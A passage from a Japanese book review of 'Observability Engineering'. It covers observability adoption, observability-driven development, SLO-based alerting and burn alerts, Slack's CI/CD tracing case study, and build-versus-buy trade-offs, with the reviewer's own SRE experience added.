III以降では一度目とは違う読書体験となり、オブザーバビリティ実践の奥深さを実感することができました。コミュニティグループへの参加本書は、オブザーバビリティの実践を始めるにあたって、コミュニティグループに参加することを勧めています。オブザーバビリティは新しい分野であり、同じような課題に取り組む人々とつながることで、多くを学び、自らの実践を改善することができます。Slackグループなどのコミュニティに参加することで、様々なバックグラウンドを持つ人々と出会い、他のチームがどのように課題に取り組んでいるかを知ることができます。こうした共有された経験は、自分自身の実験を始める前に、解決策やアプローチの背景を理解するのに役立ちます。また、コミュニティへの参加は、自分が見落としていた進展に気づくきっかけにもなります。オブザーバビリティツールのプロバイダーは、ユーザーの課題を理解し、フィードバックを得るために、様々なコミュニティに参加しています。日本にも独自のコミュニティグループがあるのですがベンダーもしくはツール毎のイベント以外は単発系が多い気がしているのでその都度調べてください。Observability Conference 2022 by CloudNative Days とOpenTelemetry の会は良い発表も多いので紹介しておきます。cloudnativedays.jpopentelemetry.connpass.com最も大きな痛みのポイントから始める新しい技術の導入は、小さくて目立たないサービスから始めるのが一般的ですが、本書は、オブザーバビリティの場合、これが大きな間違いだと指摘しています。オブザーバビリティツールは、捉えどころのない問題をすばやく見つけるのに役立ちますが、すでにうまく機能しているサービスから始めては、その価値を証明することはできません。オブザーバビリティの導入は、難しい問題や捉えどころのない問題を解決することから始めるべきです。 例えば、何週間も人々を悩ませているが、誰も正しい修正方法がわからないようなサービスや、原因不明のデータベースの混雑、正体不明のユーザーによって生成される説明不能な負荷に悩まされているサービスなどが、最適な出発点となります。こうした難しい問題をすばやく解決することで、反対意見を抱く人々を説得し、追加のサポートを得て、オブザーバビリティの採用をさらに促進することができるのです。しかし、痛みが大きい分期待値も高いので注意が必要。既存の取り組みを活用する機会を探る新しい技術を採用する際の最大の障壁の一つが、「埋没コストの誤謬」です。これは、すでに投資した時間、お金、努力のために、その行動や試みを続けてしまうことを指します。根本的な変化に抵抗するのは、資源の無駄という認識が入り込むからです。 古いソリューションを理解し、そのためにインストルメンテーションを行うのに何年も投資してきたことを考えると、感情的には理解できます。しかし、これではオブザーバビリティの導入が止まってしまいます。そこで、既存の取り組みをオブザーバビリティのイニシアチブに活用できる機会を常に探し、飛びつくことが重要です。例えば、既存のデータストリームを二次的な宛先に送ったり、別の方法で重要なデータを見たりできるなら、そのデータをオブザーバビリティソリューションに送り込むチャンスです。既存のツールとの親和性を高めることで、採用へのハードルを下げることができるのです。新しいソリューションの中に現在の世界がどのようにマッピングされるかを人々に理解してもらう必要があります。最後の難関に備える本書は、オブザーバビリティの実装における最も難しい部分の一つが、ゴールまで到達することだと指摘しています。チームの規模やスコープにもよりますが、オンコールアプローチの一環として反復的に新しいインストルメンテーションを展開していくことで、意図するスタックのすべての部分にオブザーバビリティを導入するために必要な作業の半分から3分の2程度は、ほとんどのチームで達成できるでしょう。しかし、スタックの中には、他の部分ほど活発に開発されていない部分があることに気づくはずです。そういった部分については、完了プランが必要不可欠です。オブザーバビリティの完全な実装の目標は、問題が発生したときにいつでも本番アプリケーションの状態を完全に理解するために使える、信頼できるデバッグソリューションを構築することです。 その状態に到達するまでは、異なる問題の解決に最適な様々なツールがある状態が続くでしょう。実装フェーズでは、それでも許容できるかもしれませんが、長期的には、実装を完了しないと、チームの時間、認知能力、注意力を浪費することになります。そこで、残りを迅速に処理するためのタイムラインを作成する必要があります。ターゲットマイルストーンは、チームがオブザーバビリティツールを本番でのデバッグの第一選択肢として使えるようにするために必要な残りのインストルメンテーション作業を達成することです。オブザーバビリティ実践の導入ヒント本章の結論として、オブザーバビリティの導入方法は、チームの状況に応じて異なると強調しています。オブザーバビリティの導入を始めるにあたって、同業者のコミュニティに積極的に参加することは非常に価値があります。 導入を始める際は、すでにうまく機能している部分ではなく、最も大きな痛みのポイントを解決することに注力すべきです。また、導入のプロセス全体を通して、素早く動き、高い価値とROIを示し、反復的に作業に取り組む姿勢を忘れないようにしましょう。 組織のあらゆる部分を巻き込む機会を見つけ、最後の大きなプッシュで導入プロジェクトをゴールまで持っていくことを忘れてはいけません。本章のヒントは、オブザーバビリティの導入に必要な作業を完了させるのに役立ちます。その作業が完了すれば、オブザーバビリティを日常的に使用することで、新しい働き方を実現できるようになります。私自身、SREとしてオブザーバビリティの導入に携わった経験から、著者の提言の多くに共感しました。特に、最も大きな痛みのポイントから始めることの重要性は、身をもって実感しています。モニタリングでは捉えきれなかった複雑な問題を、オブザーバビリティを用いて解決できた時の喜びは忘れられません。また、既存の取り組みを活用することも、チームのオブザーバビリティ採用を促進する上で非常に有効でした。馴染みのあるダッシュボードをオブザーバビリティツールで再現したり、既存のログデータをトレースイベントとして送信したりすることで、エンジニアはオブザーバビリティの価値をより早く実感できるようになりました。一方で、著者が指摘するように、実装を最後までやり遂げることの難しさも痛感しました。日々の運用に追われる中で、インストルメンテーションを完成させる作業は後回しになりがちです。そこで、私たちは定期的な「オブザーバビリティ・ハッカソン」を開催し、全エンジニアでインストルメンテーションの完成度を高める取り組みを行いました。これにより、オブザーバビリティが私たちのデバッグの第一選択肢になったのです。Chapter 11. Observability-Driven Development「Chapter 11. Observability-Driven Development」は、オブザーバビリティの実践をソフトウェア開発のライフサイクルの早い段階から取り入れることの重要性を説いた章です。本書は、テスト駆動開発(TDD)の限界を指摘し、オブザーバビリティ駆動開発がいかにソフトウェアの品質と開発速度の向上に寄与するかを詳細に解説しています。テスト駆動開発とその限界本書は、まずTDDの特徴と限界について説明しています。TDDは、ソフトウェアを本番環境にリリースする前にテストするための、業界のゴールドスタンダードです。TDDは、アプリケーションを決定論的な一連の反復可能なテストで定義することで、ソフトウェアの操作性について明確に考える方法を提供します。しかし、本書は、TDDの一貫性と孤立性が、本番環境でのソフトウェアの振る舞いについての洞察を制限してしまうと指摘しています。 孤立したテストに合格することは、顧客がそのサービスを良好に体験していることを意味するわけではありません。また、本番環境にコードを再リリースする前にエラーや回帰を迅速かつ直接的に特定し、修正できることを意味するわけでもありません。テスト駆動開発作者:KentBeckオーム社Amazon開発サイクルにおけるオブザーバビリティ本書は、オブザーバビリティがソフトウェア開発チームのバグ発見能力を高めることで、より良いコードの作成と出荷を可能にすると主張しています。バグを迅速に解決するためには、オリジナルの意図がまだ作者の頭にある間に問題を調査することが重要です。 バグが誤って出荷されてから、そのバグを含むコードが問題ないか調べるまでの時間が長ければ長いほど、多くの人の時間が無駄になってしまいます。また、本書は、オブザーバビリティとコードのデバッグ場所の特定方法についても説明しています。オブザーバビリティは、コードそのものをデバッグするためのものではなく、デバッグすべきコードを見つけるためのシステム内の場所を特定するためのものです。 オブザーバビリティツールは、問題が発生している可能性のある場所をすばやく絞り込むのに役立ちます。マイクロサービス時代のデバッグマイクロサービスの台頭は、オブザーバビリティの台頭と密接に関連しています。モノリスがマイクロサービスに分解されると、デバッガーはネットワークをまたぐことができなくなるため、うまく機能しなくなります。マイクロサービスでは、サービスリクエストがネットワークを横断して機能を実現するため、あらゆる種類の運用上、アーキテクチャ上、インフラストラクチャ上の複雑さが、意図せずに出荷したロジックのバグと不可分に絡み合うようになったのです。 オブザーバビリティがなければ、パフォーマンスグラフがすべて同時にスパイクしたりディップしたりしているだけで、問題の本質が見えなくなってしまいます。インストルメンテーションがオブザーバビリティを促進する仕組み本書は、オブザーバビリティを実現するための必要条件が、有用なインストルメンテーションの作成であると述べています。優れたインストルメンテーションは、オブザーバビリティを促進します。具体的には、コードをデプロイしてエラーの結果を感じるまでのループを短くするような、強化メカニズムとフィードバックループを作成することを目標にすべきだと提案しています。例えば、コードをマージした人に、一定期間、本番環境でアラートが発生した場合にそのアラートを送るようにすることです。エンジニアは、デプロイ後すぐに以下の質問に答えられるように、自分のコードをinstrument化することが求められます。コードは期待通りに動作しているか?以前のバージョンと比べてどうか?ユーザーは積極的にコードを使用しているか?異常な条件は発生していないか?オブザーバビリティの左シフト本書は、オブザーバビリティ駆動開発が、ソフトウェアが本番環境の乱雑な現実の中でどのように機能するかを保証すると述べています。TDDが孤立した仕様への準拠を保証する一方で、オブザーバビリティ駆動開発は、変動するワークロードを経験し、特定のユーザーが予測不可能なことを行っている、ある時点での複雑なインフラストラクチャ上に分散されたソフトウェアが機能することを保証します。開発ライフサイクルの早い段階でインストルメンテーションをソフトウェアに組み込むことで、エンジニアは小さな変更が本番環境で実際にどのような影響を与えるかをより容易に考慮し、より迅速に確認できるようになります。従来のモニタリングアプローチでは、複雑なモダンなソフトウェアシステムで何が起こっているのかを正確に推論する能力がほとんどありません。その結果、チームは本番環境をガラスの城のように扱い、その城を乱すことを恐れるようになってしまうのです。オブザーバビリティ駆動開発により、エンジニアリングチームはガラスの城を対話型の遊び場に変えることができます。 ソフトウェアエンジニアは、オブザーバビリティを自らの開発プラクティスに取り入れ、本番環境への変更を恐れるサイクルを解きほぐす必要があります。オブザーバビリティを用いたソフトウェア開発の高速化本書は、ソフトウェアエンジニアが新機能と一緒にテレメトリを束ねることで、コミットからエンドユーザーへの機能リリースまでの時間を短縮できると述べています。ソフトウェア業界では、速度と品質の間にはトレードオフがあるという認識が一般的ですが、著書「Accelerate」では、このような逆の関係は神話であることが明らかにされました。エリートパフォーマーにとって、速度と品質は連動して向上し、互いに強化し合うのです。エンジニアリングチームの健全性と有効性を示す重要な指標は、コードが書かれてから本番環境に導入されるまでの経過時間で捉えられます。 すべてのチームがこの指標を追跡し、改善に努めるべきです。オブザーバビリティ駆動開発は、機能フラグと段階的デリバリーパターンと組み合わせることで、エンジニアリングチームに、新機能のリリース中に問題が発生した際に本当に何が起きているのかを調査するためのツールを提供できます。オブザーバビリティ駆動開発の重要性本章の結論として、オブザーバビリティがソフトウェア開発ライフサイクルの早い段階で使用されるべきであると強調しています。テスト駆動開発は、コードが定義された仕様に対してどのように動作するかを検証するのに役立ちますが、オブザーバビリティ駆動開発は、コードが本番環境の混沌とした世界でどのように振る舞うかを検証するのに役立ちます。ソフトウェアエンジニアにとって、本番環境の実際の動作を理解できないことは、本番環境をガラスの城のように扱う考え方を生んできました。新機能がリリースされる際の振る舞いを適切に観察することで、本番環境をエンドユーザーがソフトウェアを体験する対話型の遊び場へと変えることができるのです。オブザーバビリティ駆動開発は、高いパフォーマンスを発揮するソフトウェアエンジニアリングチームを実現するために不可欠です。 オブザーバビリティをSREやインフラエンジニア、運用チームだけのものと考えるのではなく、すべてのソフトウェアエンジニアが自らのプラクティスの重要な部分としてオブザーバビリティを取り入れるべきなのです。本章を読んで、私はオブザーバビリティ駆動開発の重要性を再認識しました。特に、本番環境の振る舞いを適切に観察することで、ソフトウェアエンジニアのマインドセットを変革できるという点に共感しました。Chapter 12. Using Service-Level Objectives for Reliability「Chapter 12. Using Service-Level Objectives for Reliability」は、サービスレベル目標(SLO)を用いたアラート戦略が、従来の閾値ベースのモニタリングアプローチよりも効果的であることを示した章です。本章は、SLOとオブザーバビリティを組み合わせることで、システムの信頼性を向上させる方法を提案しています。従来のモニタリングアプローチがもたらすアラート疲労本書は、まず従来のモニタリングアプローチの問題点を指摘しています。従来のアプローチでは、測定が容易なシステムの状態を単純なメトリクスで追跡し、それに基づいてアラートを発生させます。しかし、これらのアラートは、false positiveを大量に生み出し、意味のある行動につながりません。その結果、エンジニアリングチームは、信頼性の低いアラートを無視したり、抑制したりするようになります。 これは「逸脱の正常化(normalization of deviance)」と呼ばれる危険な状態です。アラートが「正常」とみなされ、無視されるようになると、重大な見落としにつながる可能性があるのです。また、従来のモニタリングアプローチは、既知の障害モードにのみ対応できます(known-unknowns)。しかし、分散システムでは、予測不可能な障害モードが発生し、ユーザーエクスペリエンスに影響を与える可能性があります。従来のシステムメトリクスでは、このような予期せぬ障害モードを見逃してしまうのです。ユーザーエクスペリエンスを指標とする本書は、アラートの設定において、ユーザーエクスペリエンスに焦点を当てることの重要性を説いています。従来のアプローチでは、システムエンジニアが任意の定数を選択し、ユーザーエクスペリエンスが悪化する時点を予測する必要がありました。しかし、システムのパフォーマンスは、ユーザーの行動によって大きく変動するため、静的な閾値では対応できません。信頼性の高いアラートには、より細かい粒度と信頼性が必要です。 そこで役立つのがSLOです。SLOは、システムメトリクスではなく、重要なユーザージャーニーに基づいてサービスの可用性の目標値を定量化します。この目標値は、サービスレベルインジケーター(SLI)を使って測定されます。サービスレベル目標とは何か?本書は、SLOの概要を説明し、その重要性を強調しています。SLOは、サービスの健全性を測定するための内部目標です。SLOは、サービスプロバイダーと顧客の間のサービスレベルアグリーメントの重要な部分であり、外部に向けた可用性のコミットメントよりも厳しい基準を設定します。SLOは、ユーザーエクスペリエンスに影響を与える症状にのみ焦点を当てることで、アラートの範囲を狭めます。何かがユーザーの体験に影響を与えている場合、アラートが発生し、誰かがなぜそうなっているのかを調査する必要があります。 しかし、SLOベースのアラートは、サービスがどのように低下しているかを示すものではありません。単に何かがおかしいことを知らせるだけなのです。SLOベースのアラートへの文化の変革:ケーススタディ本書は、Honeycombでの実際の事例を紹介し、SLOベースのアラートへの文化の変革について説明しています。Honeycombでは当初、SLOを実装していたものの、チームはまだ完全には信頼していませんでした。SLOアラートは低優先度の受信箱に送られ、チームは従来のモニタリングアラートに依存し続けていたのです。しかし、あるインシデントで、SLOベースのアラートが従来のアラートよりもはるかに早く問題を検出したことで、状況は変わりました。メモリリークによるクラッシュが発生していましたが、従来のモニタリングでは検出されませんでした。 一方、SLOは嘘をつきませんでした。SLOエラーバジェットはインシデントの開始時からほぼ完全に消費され、ユーザーへの影響が明らかになったようでした。このインシデントがチームの文化を変えました。 SLOベースのアラートの価値が証明されたことで、エンジニアリングチームはSLOベースのアラートを従来のアラートと同等に尊重するようになりました。しばらくしてSLOベースのアラートに頼るようになると、チームはSLOデータのみに基づいてアラートを出すことに徐々に慣れていったのです。SLOとオブザーバビリティによる信頼性の向上本章の結論として、SLOが従来の閾値ベースのモニタリングよりも効果的なアラート戦略であることを強調しています。アラート疲労は、従来のモニタリングソリューションが取る潜在的な原因ベースのアプローチによって引き起こされています。 アラート疲労は、役立つアラートのみを作成することで解決できます。役立つアラートとは、サービスのユーザーエクスペリエンスが低下した状態にあることを確実に示し、かつ実行可能でなければなりません。SLOは、インシデントアラートの背後にある「何が」と「なぜ」を切り離します。 痛みの症状ベースのアラートに焦点を当てることで、SLOは顧客体験の信頼できる指標となります。SLOがイベントベースの指標に基づいている場合、誤検知と見逃しが大幅に減少します。したがって、SLOベースのアラートは、アラートをより実行可能で、タイムリーなものにする生産的な方法となるのです。しかし、SLOベースのアラートだけでは、痛みがあることは分かっても、なぜそうなっているのかは分かりません。SLOベースのアラートを実行可能なものにするには、本番システムが十分にデバッグ可能でなければなりません。 システムにオブザーバビリティを持たせることが、SLOを使う上で非常に重要なのです。Chapter 13. Acting on and Debugging SLO-Based Alerts「Chapter 13. Acting on and Debugging SLO-Based Alerts」は、SLOベースのアラートを使用する際のエラーバジェットの役割と、アラートをトリガーするためのメカニズムについて詳細に解説した章です。本書は、エラーバジェットの枯渇を予測するための様々な予測手法を紹介し、組織のニーズに最適な手法を選択するための考慮事項を示しています。また、サービスレベル目標(SLO)の実装について解説した「Implementing Service Level Objectives」も参考になります。この書籍は、SLOベースのアプローチによる信頼性を実現するための文化とツールを構築する際の入門書およびデイリーリファレンスとして役立ちます。高度なSLOおよびサービスレベル指標(SLI)の技術について詳細な分析を提供し、数学的モデルと統計学の知識を武器に、ユーザーの視点から信頼性を意味のある形でSLIとして測定可能なシステムを構築する方法を学ぶことができます。learning.oreilly.comエラーバジェットが空になる前にアラートする本章は、まずエラーバジェットの概念について説明しています。エラーバジェットは、ビジネスが許容できるシステムの最大の利用不可時間を表します。例えば、SLOが99.9%の成功率を確保することであれば、1年間で8時間45分57秒(または1ヶ月で43分50秒)以上のダウンタイムは許容されません。SLOに違反する前にアプリケーションやシステムの問題を認識し、解決するためには、エラーバジェットが完全に消費される前に予測的なバーンアラートが必要です。バーンアラートは、現在のバーン率が継続した場合にエラーバジェットが枯渇する時期を予測し、早期警告を提供します。時間をスライディングウィンドウとして捉える本書は、SLOの分析にあたって、固定ウィンドウとスライディングウィンドウのどちらを使用するかを選択する必要があると述べています。固定ウィンドウは、例えば月の1日から30日までのように、カレンダーに従います。一方、スライディングウィンドウは、直近の30日間のように、移動する期間を見ます。Figure 13-2. A rolling three-day window (left) and a three-day resetting window (right) より引用本書は、ほとんどのSLOにとって、30日のスライディングウィンドウが最も実用的な期間だと述べています。固定ウィンドウは顧客の期待に合わないため、より滑らかな体験を提供するスライディングウィンドウを使用すべきだと主張しています。予測的バーンアラートを作成するための予測本書は、予測的バーンアラートをトリガーするための2つのモデルを紹介しています。1つ目は、ゼロ以外の閾値を選択し、残りのエラーバジェットがその閾値を下回ったときにアラートをトリガーする方法です。Figure 13-3. In this model, an alert triggers when the remaining error budget (solid line) dips below the selected threshold (dashed line) より引用2つ目は、現在の状態がエラーバジェット全体を消費する結果になるかどうかを予測する方法です。この方法では、基準ウィンドウ(ベースラインウィンドウ)と、予測が及ぶ将来の時点を決定する先読みウィンドウ(ルックアヘッドウィンドウ)の2つを考慮する必要があります。Figure 13-4. For predictive burn alerts, you need a baseline window of recent past data to use in your model and a lookahead window that determines how far into the future your forecast extends より引用本書は、基準ウィンドウとして、先読みウィンドウの4分の1の期間を使用することを推奨しています。つまり、4時間後に予算を使い果たすかどうかを予測するには、過去1時間のパフォーマンスデータを使用するのです。バーン率を予測するために、著者は2つのアプローチを紹介しています。短期バーンアラートは、最近の期間の基準データのみを使用して軌跡を外挿します。コンテキスト対応バーンアラートは、過去のパフォーマンスを考慮し、SLOの全体のウィンドウにおける成功イベントと失敗イベントの総数を使用して計算を行います。SLOバーンアラートへの対応本書は、バーンアラートがトリガーされたときの対応についても説明しています。新しい予期せぬ種類のバーンが発生しているのか、それとも緩やかで予想されるバーンなのかを診断する必要があります。本書は、バーンアラートがバースト状態の一部なのか、エラーバジェットのかなりの部分を一度に消費してしまうようなインシデントなのかを評価すべきだと述べています。現在の状況を過去の率と比較することで、その重要性をトリアージするための有益なコンテキストが得られます。SLOのためのオブザーバビリティデータと時系列データ本書は、SLOに時系列データを使用することで、いくつかの複雑さが生じると指摘しています。時系列データの問題は、99.99%以上の可用性目標を持つ厳格なSLOの場合に特に顕著です。このようなSLOでは、エラーバジェットが数分または数秒で枯渇する可能性があります。一方、SLOの計算にイベントデータを使用すると、システムの健全性を評価するためのリクエストレベルの粒度が得られます。モダンな分散システムでは、100%の全体的な障害よりも、部分的な障害の方が一般的です。そのため、イベントベースの計算の方がはるかに有用なのです。本書は、サービスの実際のユーザーエクスペリエンスを追跡するオブザーバビリティデータは、粗く集約された時系列データよりも、システムの状態をより正確に表現していると述べています。アクション可能なアラートのためにどのデータを使用するかを決定する際、オブザーバビリティデータを使用することで、ビジネスが気にかけている全体的な顧客体験に非常に近い条件に焦点を当てることができるのです。SLOとオブザーバビリティデータの組み合わせ本章の結論として、SLOとオブザーバビリティデータを組み合わせることの重要性を強調しています。SLOは、ノイズの多いモニタリングの問題を解決するモダンな形式のモニタリングです。オブザーバビリティに特化しているのは、イベントデータがSLOモデルに追加する力です。 エラーバジェットのバーン率を計算する際、イベントは本番サービスの実際の状態をより正確に評価します。また、SLOが違反の危険にあることを知るだけでは、どのユーザーが影響を受けているのか、どの依存サービスが影響を受けているのか、どのようなユーザー行動の組み合わせがサービスでエラーを引き起こしているのかを判断するための洞察が必ずしも得られるとは限りません。SLOにオブザーバビリティデータを組み合わせることで、バーンバジェットアラートがトリガーされた後、障害がいつ、どこで発生したかを把握できるようになります。オブザーバビリティデータを使用したSLOは、SREアプローチとオブザーバビリティ駆動型開発アプローチの両方の重要なコンポーネントです。失敗したイベントを分析することで、何がうまくいっていないのか、なぜうまくいっていないのかについての豊富で詳細な情報が得られます。それはシステム的な問題と時折の散発的な障害を区別するのに役立ちます。本章を読んで、私はSLOとオブザーバビリティデータの組み合わせの重要性を再認識しました。エラーバジェットのバーン率を予測し、早期にアラートを発するための様々な手法は、SREにとって非常に有益です。また、イベントベースの測定値が、システムの実際の状態をより正確に表現しているという点にも納得しました。私たちのチームでも、SLOの計算にオブザーバビリティデータを活用することで、顧客体験に直結する問題により迅速に対応できるようになりました。皆さんは、SLOとオブザーバビリティをどのように組み合わせていますか?また、エラーバジェットのバーン率を予測するために、どのような手法を用いていますか?ぜひ、経験や考えを共有してください。Chapter 14. Observability and the Software Supply Chain「Chapter 14. Observability and the Software Supply Chain」は、モダンなソフトウェア開発において、オブザーバビリティがいかに重要であるかを示す非常に示唆に富んだ一章でした。著者のFrank Chenは、Slackにおける実際の事例を通して、CI/CDパイプラインにオブザーバビリティを適用することの価値を明確に示しています。ソフトウェアサプライチェーンのセキュリティも重要なトピックであり、「Software Supply Chain Security」(Cassie Crossley著)ではこの分野を包括的に取り上げています。本書は、セキュリティリスクを見渡し、エンドツーエンドのソフトウェアサプライチェーンに組み込む必要のある実践的なコントロールを特定しています。組織がソフトウェア、ファームウェア、ハードウェアのセキュリティ体制を改善するには、サプライチェーンに関わるすべての人が参加する必要があることを実証しており、サプライチェーンの各部分のサイバーセキュリティリスクを特定し、関連する役割を特定し、既存のフレームワークを使ったイニシアティブとコントロールの設計、セキュアな開発ライフサイクルの実践、第三者リスクの評価などについて学ぶことができます。learning.oreilly.comオブザーバビリティがソフトウェアサプライチェーンに不可欠な理由本章の冒頭で、Chenは「ソフトウェアサプライチェーン」という概念について説明しています。それは、「開発から、CI/CDパイプラインを通って、本番環境にデプロイされるまでの、ソフトウェアに影響を与えるすべてのもの」を指します。つまり、コードが書かれてから実際にユーザーに届けられるまでの一連のプロセスを指すのです。Figure 14-1. An example end-to-end workflow for testing the web app より引用Slackでは、早い段階からCIの開発とCDの実践に投資してきました。しかし、急速な成長に伴い、システムの複雑性が増し、境界があいまいになり、限界に達しつつあることに気づきました。テストスイートの実行回数は、一日あたり数千回から数十万回へと爆発的に増加したのです。 この規模になると、適応型キャパシティや、オーバーサブスクリプションなどの戦略でコストとコンピューティングリソースを管理する必要があります。その結果、開発環境でコードをテストしてデプロイするワークフローは、一部の本番サービスよりも複雑になることがありました。インフラストラクチャの種類やランタイムのバージョンの依存関係が予期せず変更され、意図しない障害が発生する可能性があったのです。slack.engineering共有ライブラリとディメンションSlackのオブザーバビリティ導入における主な課題は、複雑さでした。エンドツーエンドテストの失敗は、コードベースの変更、インフラストラクチャの変更、プラットフォームのランタイムなど、複数のコードベースが相互作用した結果である可能性があります。この問題を解決するために、SlackはCI/CDシステムに分散トレーシングを適用しました。トレーシングを多段構成のビルドシステムに適用することで、わずか数時間のうちに複数の課題を解決できたのです。オブザーバビリティを実現するには、有用なインストルメンテーションを作成することが必要条件です。優れたインストルメンテーションは、オブザーバビリティを促進します。具体的には、コードをデプロイしてエラーの結果を感じるまでのループを短くするような、強化メカニズムとフィードバックループを作成することを目標にすべきです。エンジニアは、デプロイ後すぐに以下の質問に答えられるように、自分のコードをインストルメント化することが求められます。コードは期待通りに動作しているか?以前のバージョンと比べてどうか?ユーザーは積極的にコードを使用しているか?異常な条件は発生していないか?サプライチェーンの運用化:ケーススタディChenは、Slackがどのようにトレーシングツールとクエリを使ってソフトウェアサプライチェーンを理解し、アラートにつなげているかを具体的な事例で示しています。コンテキストの理解最初の事例は、フレーキーなテストの問題に対処するために、Slackのチームがどのように協力したかを示しています。2020年、Slackのエンジニアはエンドツーエンドテストのフレーキーさにフラストレーションを感じていました。多くのエンドツーエンドテストスイートでは、平均15%近くのフレーキーさがありました。オブザーバビリティチームとオートメーションチームが協力し、Cypressにいくつかのランタイムパラメータとスパンのトレーシングを追加しました。わずか数日で、フレーキーさと強く相関するディメンションが明らかになったのです。エンジニアはこのデータを使って実験を行い、プラットフォームのデフォルトを改善し、フレーキーな設定に対するガードレールを設置しました。その結果、多くのユーザーでテストスイートのフレーキーさが大幅に減少しました。slack.engineeringアクショナブルなアラートの組み込み次の事例では、Slackがどのようにアラートをエンジニアのワークフローに組み込んでいるかを示しています。オブザーバビリティはSlackのメッセージやダッシュボードを通じて、エンジニアが問題をトリアージするのを助けます。例えば、あるテストスイートの実行時間が増加したことを示すアラートがトリガーされたとします。アラートのリンクをクリックすると、CIサービストレースダッシュボードが表示されます。ここから、問題のあるテストスイートのトレースを確認できます。エンジニアは、レート、エラー、デュレーションを可視化したクエリを使って、Checkpoint内のサービス間の個々のメソッドをグループ化し、問題の原因を特定します。何が変更されたかの理解最後の事例は、2021年8月のインシデントについてです。複数のユーザーがバックエンドのユニットテストとインテグレーションテストでメモリ不足エラー(OOM)によるテスト失敗を報告しました。レスポンダーは、前日のフレーキーさの増加を示すアノマリを発見しました。これをヒントに、過去のテストケーストレースを調べ、メモリ使用量の急増を特定しました。いくつかの疑わしいコミットが特定され、それらを次々とリバートしていきました。専門家は、オブザーバビリティを使ってリアルタイムにシステムの健全性を検証しました。単なるツールではなく、文化でもある本章は、ソフトウェアサプライチェーンにおけるオブザーバビリティの有用性を示しています。Chenは、SlackがCI/CDパイプラインにインストルメンテーションを行い、分散システムのデバッグに役立てた事例を紹介しました。適切なツールとディメンションを用いることで、Slackのエンジニアは、以前は見えなかったCI/CDワークフローの複雑な問題を解決することができました。 アプリケーションが遅い、CIテストがフレーキーだという不満をデバッグする際も、オブザーバビリティは、高度に相互作用する複雑なシステムの問題の相関関係を見つけるのに役立つのです。ソフトウェアが本番環境でどのように動作するかを理解することは、アプリケーション開発者にとって最優先事項です。しかし、本番環境に至る前に、同様に複雑で理解やデバッグが難しい分散システムが存在することを忘れてはいけません。ソフトウェアサプライチェーンにオブザーバビリティを組み込むことは、Slackだけでなく、あらゆるビジネスにとって競争上の優位性となるのです。本章から私が学んだ最も重要な教訓は、オブザーバビリティがソフトウェア開発のあらゆる段階で不可欠だということです。本番環境だけでなく、ソフトウェアがビルド、テスト、デプロイされるプロセス全体を通して、オブザーバビリティを適用することで、より高品質で信頼性の高いソフトウェアを提供できるようになります。また、オブザーバビリティは単なるツールではなく、文化でもあるということを再認識しました。チーム全体で問題の可視性を高め、データに基づいて意思決定を行う文化を育むことが、本当の意味でのオブザーバビリティの実現につながるのです。Part IV. Observability at Scaleこの部ではオブザバビリティが大規模に実践されたときに何が起こるかを検討します。Chapter 15. Build Versus Buy and Return on Investment「Chapter 15. Build Versus Buy and Return on Investment」は、オブザーバビリティソリューションを自社で構築するか、ベンダーから購入するかという選択について、深い洞察を提供してくれる一章でした。本書は、この二者択一の問題を、機会費用や総所有コスト(TCO)など、多角的な視点から分析し、それぞれのアプローチのメリットとデメリットを明らかにしています。オブザーバビリティのROI分析本書は、自社でオブザーバビリティソリューションを構築する際の真のコストについて警鐘を鳴らしています。一見、オープンソースのコンポーネントを使えば、ほとんど費用がかからないように思えるかもしれません。 しかし、実際には、メンテナンスのためのコンテキストスイッチングや、コアビジネスに直接つながらない領域にエンジニアリングリソースを割くことによる機会損失など、目に見えないコストが膨大にかかっているのです。コストについてはこちらがめちゃくちゃに組織毎に正解が違うと思ったのですが良い考察だと思いましたdev.henry.jp一方、ベンダーソリューションを購入する場合、コストは明確です。請求書に明記されているからです。しかし、ここでも落とし穴があります。シートごと、ホストごと、サービスごと、クエリごとなど、予測不可能な指標に基づく価格設定は、将来的なコストを見積もるのが非常に難しいのです。オブザーバビリティツールを本来の目的で使用すると、使用量が爆発的に増加し、生み出す収益に見合わないほどの費用がかかってしまう可能性があります。自社構築のメリットとリスク自社構築の最大のメリットは、組織のニーズに合わせてカスタマイズできることです。長年かけて、自社のシステムに深く根ざした、独自の文化を活かしたソリューションを開発できるのです。しかし、そこにはリスクもあります。本当に自社でベンダーよりも優れたソリューションを開発できるのでしょうか? UIやワークフローの柔軟性、パフォーマンスなど、組織全体での採用を促すために必要な機能を提供できるでしょうか。もしできなければ、多くの時間と費用、そしてビジネスチャンスを失ったあげく、ごく一部のユーザーしか使わないシステムを構築することになりかねません。購入のメリットとリスク購入の最大のメリットは、迅速に価値を得られることです。数分から数時間で始められ、すぐにオブザーバビリティの恩恵を受けられます。しかし、ベンダーロックインのリスクがあります。一度ある商用ソリューションを選択すると、他のソリューションへの移行に多大な時間と労力がかかるのです。 オープンソースのOpenTelemetryを活用することで、このリスクを軽減できます。また、オブザーバビリティの専門知識を社内で育成できないリスクもあります。単に既製のソリューションを利用するだけでは、自社特有のニーズにオブザーバビリティをどう適用すべきか、深く理解できないかもしれません。二者択一ではない本書は、「構築か購入か」は二者択一ではないと強調しています。自社のオブザーバビリティチームが、ベンダーソリューションの上に独自のレイヤーを構築する、という第三の選択肢があるのです。オブザーバビリティチームは、ベンダーと自社のエンジニアリング組織をつなぐ役割を果たします。ライブラリや抽象化を提供し、命名規則を標準化し、コードのインストルメンテーションについてアドバイスします。コアビジネスの価値提供から逸れることなく、独自のニーズを満たすソリューションを構築できるのです。タダより高いものはないオブザーバビリティソリューションの選択において、Total Cost of Ownership(TCO)を十分に考慮すべきです。「タダより高いものはない」という言葉がありますが、オープンソースを使った自社構築には、導入・運用のためのリソース確保、セキュリティ対策、パフォーマンスチューニングなどの見えないコストが付随します。一方、ベンダーソリューションには、ライセンス料の値上げやベンダーロックインによる代替手段の制約など、将来的なコスト高騰のリスクがあります。そこで、オープンソースとベンダーソリューションのハイブリッド活用が有力な選択肢となります。「Observability with Grafana」では、一部有償サービスを提供しつつも、Grafanaをはじめとするオープンソースツールを中核に据えることで、オープンソースのメリットを最大限に活かしながら、ベンダーによるサポートやサービスを組み合わせることができます。Loki, Grafana, Tempo, and Mimir からなるLGTMスタックを学習することができる。learning.oreilly.comしかし、自社構築と購入を組み合わせることで、両者のメリットを享受できます。 